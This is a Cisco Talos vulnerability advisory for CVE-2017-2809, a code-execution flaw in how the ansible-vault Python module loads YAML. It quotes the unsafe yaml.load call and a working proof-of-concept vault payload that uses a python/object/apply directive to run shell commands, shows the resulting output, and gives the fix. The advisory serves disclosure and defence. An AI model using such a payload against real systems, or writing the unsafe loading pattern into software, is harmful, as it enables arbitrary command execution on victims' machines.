Talos Vulnerability Report

TALOS-2017-0305

ansible-vault Yaml Load Code Execution Vulnerability

September 14, 2017
CVE Number

CVE-2017-2809

Summary

An exploitable vulnerability exists in the yaml loading functionality of ansible-vault. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability.

Tested Versions

ansible-vault 1.0.4

Product URLs

https://pypi.python.org/pypi/ansible-vault/1.0.4

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-502 - Deserialization of Untrusted Data

Details

Ansible provides an easy solution for automating IT and network based tasks. The 3rd party python module, ansible-vault provides an encrypted format to contain potential secrets related to the automation.

api.py:9
class Vault(object):
    '''R/W an ansible-vault yaml file'''

    def __init__(self, password):
        self.password = password
        self.vault = VaultLib(password)

    def load(self, stream):
        '''read vault steam and return python object'''
        return yaml.load(self.vault.decrypt(stream)) [0]

ansible-vault is leveraging the unsafe API yaml.load [0] for loading the yaml it decrypts. This yaml can contain a python directive to execute arbitrary commands.

Exploit Proof-of-Concept

An example vault is shown below that, when loaded, will execute an arbitary command:

$ ansible-vault view pwned
Vault password:
!!python/object/apply:os.system ["echo 'Hi from Talos!'; id; uname -a"]

A quick test leveraging the ansible-vault API shows the commands being executed:

(ansible) user in ~
$ ipython
In [1]: from ansible_vault import Vault
In [2]: v = Vault('password')
In [3]: v.load(open('pwned').read())

Hi from Talos!
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),113(sambashare)
Linux fuzz0 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Mitigation

Replace yaml.load with yaml.safe_load

Timeline

2017-04-07 - Vendor Disclosure
2017-09-14 - Public Release

Credit

Discovered by Cory Duplantis of Cisco Talos. Talos would also like to thank Dylan Ayrey for his collaboration.